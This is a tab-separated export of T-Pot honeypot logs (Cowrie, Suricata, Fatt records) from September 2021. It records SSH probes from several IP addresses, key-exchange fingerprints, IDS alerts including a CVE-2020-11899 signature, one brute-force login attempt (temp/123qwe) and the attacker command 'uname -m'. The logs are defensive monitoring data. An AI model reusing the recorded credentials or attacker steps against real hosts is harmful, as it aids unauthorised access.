32247	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:49:50.61864+03	2021-09-20 15:00:03.231717+03	{"_id": "ggYKA3wBvYTbRNuEe0gO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "986dfcc6610c", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:49:50.618640Z", "@timestamp": "2021-09-20T11:49:50.618Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32248	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:50:20.744232+03	2021-09-20 15:00:03.232716+03	{"_id": "_QYKA3wBvYTbRNuE8EhS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "d6cba9c4d937", "@version": "1", "timestamp": "2021-09-20T11:50:20.744232Z", "@timestamp": "2021-09-20T11:50:20.744Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32249	95.85.8.215	109.199.241.180	Suricata	2021-09-20 14:50:20.743967+03	2021-09-20 15:00:03.233716+03	{"_id": "AAYKA3wBvYTbRNuE8UnX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "95.85.8.215", "dest_ip": "192.168.20.116", "flow_id": 314715699721084, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58165, "dest_port": 22, "timestamp": "2021-09-20T11:50:20.743967Z", "@timestamp": "2021-09-20T11:50:20.743Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32250	fe80:0000:0000:0000:7e01:82f4:3ece:6267	109.199.241.180	Suricata	2021-09-20 14:50:20.589072+03	2021-09-20 15:00:03.235717+03	{"_id": "AQYKA3wBvYTbRNuE8UnX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:50:20.589072+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 70}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:7e01:82f4:3ece:6267", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0002", "flow_id": 1907538681199888, "payload": "AAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 133, "timestamp": "2021-09-20T11:50:20.589072Z", "@timestamp": "2021-09-20T11:50:20.589Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...."}}	1	\N	\N	alert	\N	\N
32251	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:50:20.69323+03	2021-09-20 15:00:03.236717+03	{"_id": "BAYKA3wBvYTbRNuE8knd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "95.85.8.215", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58165, "timestamp": "2021-09-20T11:50:20.693230", "@timestamp": "2021-09-20T11:50:20.693Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32252	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:50:21.048535+03	2021-09-20 15:00:03.237717+03	{"_id": "BQYKA3wBvYTbRNuE9Ek7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.login.failed", "message": "login attempt [temp/123qwe] failed", "session": "d6cba9c4d937", "@version": "1", "password": "123qwe", "username": "temp", "timestamp": "2021-09-20T11:50:21.048535Z", "@timestamp": "2021-09-20T11:50:21.048Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32253	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:21.427484+03	2021-09-20 15:00:03.239717+03	{"_id": "BwYKA3wBvYTbRNuE9Ek7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:21.427484Z", "@timestamp": "2021-09-20T11:50:21.427Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32254	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:50:22.14966+03	2021-09-20 15:00:03.240718+03	{"_id": "CAYKA3wBvYTbRNuE9knG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "96.78.175.36", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43484, "timestamp": "2021-09-20T11:50:22.149660", "@timestamp": "2021-09-20T11:50:22.149Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32255	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:50:22.144342+03	2021-09-20 15:00:03.241716+03	{"_id": "EAYKA3wBvYTbRNuE-Ekk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 96.78.175.36:43484 (192.168.176.2:22) [session: 2c9c19a6e9b9]", "session": "2c9c19a6e9b9", "@version": "1", "protocol": "ssh", "src_port": 43484, "dest_port": 22, "timestamp": "2021-09-20T11:50:22.144342Z", "@timestamp": "2021-09-20T11:50:22.144Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32256	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:50:22.147499+03	2021-09-20 15:00:03.243716+03	{"_id": "FQYKA3wBvYTbRNuE-Ekk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "2c9c19a6e9b9", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:50:22.147499Z", "@timestamp": "2021-09-20T11:50:22.147Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32257	192.168.176.2	109.199.241.180	Suricata	2021-09-20 14:50:22.464213+03	2021-09-20 15:00:03.245716+03	{"_id": "FwYKA3wBvYTbRNuE-Umq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:50:13.521105+0000", "pkts_toclient": 0, "pkts_toserver": 7, "bytes_toclient": 0, "bytes_toserver": 546}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.176.2", "stream": 0, "dest_ip": "87.112.251.105", "flow_id": 1804345649001361, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 22, "dest_port": 35169, "timestamp": "2021-09-20T11:50:22.464213Z", "@timestamp": "2021-09-20T11:50:22.464Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32258	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:18.638431+03	2021-09-20 15:00:03.246717+03	{"_id": "8wYKA3wBvYTbRNuE6EiC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 22, "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "107.173.209.238", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "78144d271630", "@version": "1", "duration": 0.7783615589141846, "duplicate": true, "timestamp": "2021-09-20T11:50:18.638431Z", "@timestamp": "2021-09-20T11:50:18.638Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32259	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:19.572977+03	2021-09-20 15:00:03.247716+03	{"_id": "9AYKA3wBvYTbRNuE7Ehp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.session.params", "message": [], "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:19.572977Z", "@timestamp": "2021-09-20T11:50:19.572Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32260	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:50:20.692676+03	2021-09-20 15:00:03.249716+03	{"_id": "_AYKA3wBvYTbRNuE8EhS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "d6cba9c4d937", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:50:20.692676Z", "@timestamp": "2021-09-20T11:50:20.692Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32261	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:20.878206+03	2021-09-20 15:00:03.250716+03	{"_id": "_wYKA3wBvYTbRNuE8EhS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "107.173.209.238", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 1 seconds", "session": "78144d271630", "@version": "1", "duration": 1.3053102493286133, "duplicate": true, "timestamp": "2021-09-20T11:50:20.878206Z", "@timestamp": "2021-09-20T11:50:20.878Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32262	95.85.8.215	109.199.241.180	Suricata	2021-09-20 14:50:20.744032+03	2021-09-20 15:00:03.252716+03	{"_id": "AgYKA3wBvYTbRNuE8UnX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:50:20.635772+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "95.85.8.215", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 314715699721084, "payload": "AAADzAYUAh4T10jW5c/xciMmquTviwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58165, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:50:20.744032Z", "@timestamp": "2021-09-20T11:50:20.744Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..........H....r#&.......(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
